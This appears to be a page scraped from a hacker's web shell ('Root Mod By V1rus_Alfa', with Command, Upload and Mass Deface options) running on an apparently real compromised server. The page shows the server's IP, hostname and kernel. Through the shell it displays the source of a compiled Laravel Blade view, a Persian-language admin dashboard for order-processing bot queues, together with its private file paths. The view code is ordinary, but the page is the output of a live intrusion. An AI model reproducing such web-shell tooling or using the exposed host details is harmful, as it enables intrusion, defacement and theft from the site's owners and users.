���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
storage
/
framework
/
views
/
Viewing: 24e900b4bce5458a2ca7d8e2d8eed30e.php
<?php use Carbon\Carbon;use Morilog\Jalali\Jalalian; ?> <div> <div class=" w-full" wire:poll> <div class="w-full mx-auto mt-8 shadow rounded" x-data="{ activeTab: 'bot1', tabs: [ { id: 'bot1', label: 'ربات 1', class: 'border-gray-500 bg-gray-100'}, { id: 'bot2', label: 'ربات 2', class: 'border-gray-500 bg-gray-50'}, { id: 'bot3', label: 'ربات 3', class: 'border-gray-500 bg-gray-50'}, { id: 'bot4', label: 'ربات 4', class: 'border-gray-500 bg-gray-50'}, { id: 'bot5', label: 'ربات 5', class: 'border-gray-500 bg-gray-50'}, { id: 'bot6', label: 'ربات 6', class: 'border-gray-500 bg-gray-50'}, { id: 'bot7', label: 'ربات 7', class: 'border-gray-500 bg-gray-50'}, { id: 'bot8', label: 'ربات 8', class: 'border-gray-500 bg-gray-50'}, { id: 'bot9', label: 'ربات 9', class: 'border-gray-500 bg-gray-50'}, { id: 'bot10', label: 'ربات 10', class: 'border-gray-500 bg-gray-50'}, { id: 'bot11', label: 'ربات 11', class: 'border-gray-500 bg-gray-50'}, { id: 'bot12', label: 'ربات 12', class: 'border-gray-500 bg-gray-50'}, { id: 'bot13', label: 'ربات 13', class: 'border-gray-500 bg-gray-50'}, { id: 'bot14', label: 'ربات 14', class: 'border-gray-500 bg-gray-50'}, { id: 'bot15', label: 'ربات 15', class: 'border-gray-500 bg-gray-50'}, /*{ id: 'bot16', label: 'ربات 16', class: 'border-gray-500 bg-gray-50'}, { id: 'bot17', label: 'ربات 17', class: 'border-gray-500 bg-gray-50'}, { id: 'bot18', label: 'ربات 18', class: 'border-gray-500 bg-gray-50'}, { id: 'bot19', label: 'ربات 19', class: 'border-gray-500 bg-gray-50'}, { id: 'bot21', label: 'ربات 21', class: 'border-gray-500 bg-gray-50'}, { id: 'bot22', label: 'ربات 22', class: 'border-gray-500 bg-gray-50'}, { id: 'bot23', label: 'ربات 23', class: 'border-gray-500 bg-gray-50'}, { id: 'bot24', label: 'ربات 24', class: 'border-gray-500 bg-gray-50'}, { id: 'bot25', label: 'ربات 25', class: 'border-gray-500 bg-gray-50'}, { id: 'bot26', label: 'ربات 26', class: 'border-gray-500 bg-gray-50'}, { id: 'bot27', label: 'ربات 27', class: 'border-gray-500 bg-gray-50'}, { id: 'bot28', label: 'ربات 28', class: 'border-gray-500 bg-gray-50'}, { id: 'bot29', label: 'ربات 29', class: 'border-gray-500 bg-gray-50'}, { id: 'bot30', label: 'ربات 30', class: 'border-gray-500 bg-gray-50'}, { id: 'bot31', label: 'ربات 31', class: 'border-gray-500 bg-gray-50'}, { id: 'bot32', label: 'ربات 32', class: 'border-gray-500 bg-gray-50'}, { id: 'bot33', label: 'ربات 33', class: 'border-gray-500 bg-gray-50'}, { id: 'bot34', label: 'ربات 34', class: 'border-gray-500 bg-gray-50'}, { id: 'bot35', label: 'ربات 35', class: 'border-gray-500 bg-gray-50'}, { id: 'bot36', label: 'ربات 36', class: 'border-gray-500 bg-gray-50'}, { id: 'bot37', label: 'ربات 37', class: 'border-gray-500 bg-gray-50'}, { id: 'bot38', label: 'ربات 38', class: 'border-gray-500 bg-gray-50'}, { id: 'bot39', label: 'ربات 39', class: 'border-gray-500 bg-gray-50'}, { id: 'bot40', label: 'ربات 40', class: 'border-gray-500 bg-gray-50'}, { id: 'bot41', label: 'ربات 41', class: 'border-gray-500 bg-gray-50'}, { id: 'bot42', label: 'ربات 42', class: 'border-gray-500 bg-gray-50'}, { id: 'bot43', label: 'ربات 43', class: 'border-gray-500 bg-gray-50'}, { id: 'bot44', label: 'ربات 44', class: 'border-gray-500 bg-gray-50'}, { id: 'bot45', label: 'ربات 45', class: 'border-gray-500 bg-gray-50'}, { id: 'bot46', label: 'ربات 46', class: 'border-gray-500 bg-gray-50'}, { id: 'bot47', label: 'ربات 47', class: 'border-gray-500 bg-gray-50'}, { id: 'bot48', label: 'ربات 48', class: 'border-gray-500 bg-gray-50'}, { id: 'bot49', label: 'ربات 49', class: 'border-gray-500 bg-gray-50'}, { id: 'bot50', label: 'ربات 50', class: 'border-gray-500 bg-gray-50'} */ ], init() { // Initialize from URL on component load this.initFromUrl(); // Listen for browser back/forward button window.addEventListener('popstate', () => { this.initFromUrl(); }); }, initFromUrl() { const urlParams = new URLSearchParams(window.location.search); const tabFromUrl = urlParams.get('tab'); const validTabs = this.tabs.map(tab => tab.id); if (tabFromUrl && validTabs.includes(tabFromUrl)) { this.activeTab = tabFromUrl; } else { this.activeTab = 'bot1'; // default tab } }, setBotActiveTab(tabId) { this.activeTab = tabId; this.updateUrl(tabId); }, updateUrl(tabId) { const url = new URL(window.location); if (tabId === 'bot1') { // Remove tab parameter for default tab url.searchParams.delete('tab'); } else { url.searchParams.set('tab', tabId); } // Update URL without page reload window.history.pushState({}, '', url.toString()); }, getBotTabClass(tab) { if (this.activeTab === tab.id) { return tab.class + ' border-b-2'; } return 'border-transparent text-gray-500 hover:text-gray-700 hover:bg-gray-50 border-b-2'; } }"> <div class="bg-white rounded-lg shadow-lg overflow-hidden"> <div class="border-b border-gray-200"> <nav class="flex space-x-0 flex-wrap" aria-label="Tabs"> <template x-for="tab in tabs" :key="tab.id"> <button @click="setBotActiveTab(tab.id)" class="whitespace-nowrap py-4 px-6 font-medium bold transition-colors duration-200 focus:outline-none flex items-center space-x-2" :class="getBotTabClass(tab)" :aria-selected="activeTab === tab.id" role="tab" > <span x-text="tab.label"></span> </button> </template> </nav> </div> <div class="p-6"> <?php $__currentLoopData = $result; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $bot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <!-- Bot Tab --> <div x-show="activeTab === '<?php echo e($key); ?>'" x-transition:enter="transition ease-out duration-200" x-transition:enter-start="opacity-0 transform translate-y-4" x-transition:enter-end="opacity-100 transform translate-y-0"> <div class="w-3/12"> <button wire:click="clearProcessingQueue('<?php echo e($key); ?>')" type="button" class="block w-full py-2 text-xs text-center text-white rounded cursor-pointer bg-red-800 hover:text-white hover:bg-red-700 focus:outline-none"> حذف پردازشات در این صف </button> </div> <div class="block shadow-md rounded-t-xl overflow-x-auto"> <h3 class="m-2 p-2 text-center border bg-gray-100 bold text-lg"> سفارشات در حال پردازش ربات <?php echo e($loop->iteration); ?> </h3> <table class="w-full text-left overflow-hidden"> <thead> <tr class="text-gray-900 bg-gray-100"> <th class=" truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300 "> شناسه سفارش </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300 "> شناسه ورق </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300 "> کاربر </th> <th class="truncate py-2 text-center text-sm font-light min-w-[9rem] px-1 border-r border-gray-300 "> پروژه </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300"> ارسال شده از </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300"> عملیات کنونی </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300"> صف </th> <th class="truncate py-2 text-center text-sm font-light min-w-[8rem] px-1 border-r border-gray-300"> درصد پردازش </th> <th class="truncate py-2 text-center text-sm font-light min-w-[9rem] px-1 border-r border-gray-300"> تاریخ ایجاد </th> </tr> </thead> <tbody> <?php $__currentLoopData = $bot; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $k => $item): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr wire:key='<?php echo e($k + 1); ?>' class="w-full font-light text-gray-800 cursor-pointer hover:bg-main-800 hover:text-white whitespace-no-wrap bg-white border border-b"> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($item['order_id']); ?> </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($item['order_sheet_id']); ?> </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($item['user_information'] ?? '-'); ?> </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($item['order_name'] ?? '-'); ?> </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($item['order_platform'] ?? 'اپلیکیشن'); ?> </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> در صف اجرا </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> bot 1 </td> <td onclick="window.location='/admin/dashboard/order/<?php echo e($item['order_id']); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e(0); ?>% </td> <td dir="ltr" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e(Jalalian::forge($item['created_at'])->format('Y/m/d H:i')); ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> </div> </div> </div> </div> <?php /**PATH /home2/cutunixc/repositories/cutunix/resources/views/livewire/admin/pages/process-management/all/bots-queues.blade.php ENDPATH**/ ?>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa